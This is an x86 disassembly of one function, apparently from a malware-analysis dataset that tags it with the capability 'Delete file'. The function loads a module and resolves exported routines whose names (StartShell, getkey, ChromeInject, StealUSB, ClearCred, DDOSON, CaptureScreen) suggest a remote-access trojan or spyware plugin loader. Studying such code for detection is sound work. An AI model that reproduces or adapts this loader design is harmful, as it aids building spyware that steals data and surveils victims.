Function at 0x1314b750
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54c
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x548], eax
cmp byte [0x131eec9a], 1
push esi
mov esi, ecx
jne 0x1314b788
mov ecx, dword [0x13bfd53c]
call fcn.13165b70
mov byte [0x131eec9a], 0
lea eax, [esp + 8]
push eax
push 0x131fbed0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x1314bd45
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
mov ecx, 0x131fbed0
call fcn.1314ae80
cmp al, 1
jne 0x1314bcf9
mov ecx, dword [0x13c26558]
call fcn.131656c0
mov dword [0x13bfd53c], eax
test eax, eax
jne 0x1314b820
xor ecx, ecx
call fcn.13165b70
mov byte [0x131eec9a], 0
test esi, esi
jne 0x1314b818
push 0x131da780
push str._0016
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov edx, str.CaptureScreen
mov ecx, eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.Init
mov dword [0x13c26f34], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.ClearCred
mov dword [0x131fcab8], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetCamlist
mov dword [0x131fc0d0], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendCam
mov dword [0x13c25eec], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StopCam
mov dword [0x131fe66c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.Uninstall
mov dword [0x13c2576c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.CompressArchive
mov dword [0x13c25218], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GenerateReports
mov dword [0x131ef164], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetWifi
mov dword [0x13bfd540], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StartShell
mov dword [0x131fe944], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetSound
mov dword [0x131fd420], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SplitMyFile
mov dword [0x13c2521c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetAutoFTP
mov dword [0x131fc6a4], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendStartup
mov dword [0x13c260f0], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.getkey
mov dword [0x13c26ecc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendMTPList
mov dword [0x131eec64], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendMTPList2
mov dword [0x13c26eb8], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GrabFileFromDevice
mov dword [0x131fcabc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.PutFileOnDevice
mov dword [0x13c26ebc], eax
call fcn.13165ae0
mov dword [0x13c25414], eax
mov edx, str.DeleteFileFromDevice
mov ecx, dword [0x13bfd53c]
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.CopyMTP
mov dword [0x13c24f98], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.ChromeInject
mov dword [0x131fc29c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.DisableChrome
mov dword [0x131fb9fc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.RarFolder
mov dword [0x131eec50], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendUSBList
mov dword [0x131eec54], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SignoutSkype
mov dword [0x131fe94c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StealUSB
mov dword [0x13bfd538], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StartFileMonitor
mov dword [0x131fb92c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendFileMonLog
mov dword [0x131fd644], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetUSBMONLIST
mov dword [0x131fb8bc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetFileMONLIST
mov dword [0x131fc6a0], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StopUSBMonitor
mov dword [0x13bfd964], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SearchMain
mov dword [0x131eec58], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StopSearch
mov dword [0x131fc83c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.StopFileMonitor
mov dword [0x13bfd314], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.SendinfoList
mov dword [0x131fdf88], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.EnableAndLoadCapList
mov dword [0x13c2567c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.DisableMouseCapture
mov dword [0x131fdd84], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.AddAutoFTPToDB
mov dword [0x13bfd2dc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.DeleteAutoFTPFromDB
mov dword [0x13c24ecc], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.ExecuteTV
mov dword [0x13c26ec8], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.ExecuteAMMY
mov dword [0x131fe8d4], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.DDOSON
mov dword [0x13c24f9c], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.ExecuteTVNew
mov dword [0x131fb994], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.InstallMac
mov dword [0x13bfd2d4], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.UnzipFile
mov dword [0x131fe668], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GenerateOfflineDB
mov dword [0x13c26ab4], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.GetDDSize
mov dword [0x13bfd940], eax
call fcn.13165ae0
mov ecx, dword [0x13bfd53c]
mov edx, str.RECSCREEN
mov dword [0x131fc16c], eax
call fcn.13165ae0
mov dword [0x131eec9c], eax
call fcn.1314b4d0
cmp al, 1
jne 0x1314bd04
mov byte [0x131eec9a], al
test esi, esi
jne 0x1314bc82
push 0x131da79c
push str._0016
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
push 0x131ef100
push 0x131eef08
push 0x131ef168
push 0x13bfd944
push 0x131fc710
push 0x13c26160
push 0x13c24ed0
lea eax, [esp + 0x364]
push str._s_s_s_s_s_s_s
push eax
call fcn.13141a40
add esp, 0x24
lea eax, [esp + 0x348]
push 0x131da780
push eax
push 0x13bfd548
push 0x13bfd748
push 0x13c25ef0
push 0x131fe670
push 0x13c26ab8
call dword [0x131fcab8]
pop esi
mov ecx, dword [esp + 0x548]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 0x131fbed0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0x131eec9a], 0
test esi, esi
jne 0x1314bd45
push 0x131da780
push str._0016
push 0x13c24ed0
lea eax, [esp + 0x154]
push str._s__s__s_
push eax
call fcn.13141a40
mov ecx, dword [0x131fba04]
lea edx, [esp + 0x15c]
add esp, 0x14
call fcn.13145790
mov ecx, dword [esp + 0x54c]
pop esi
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret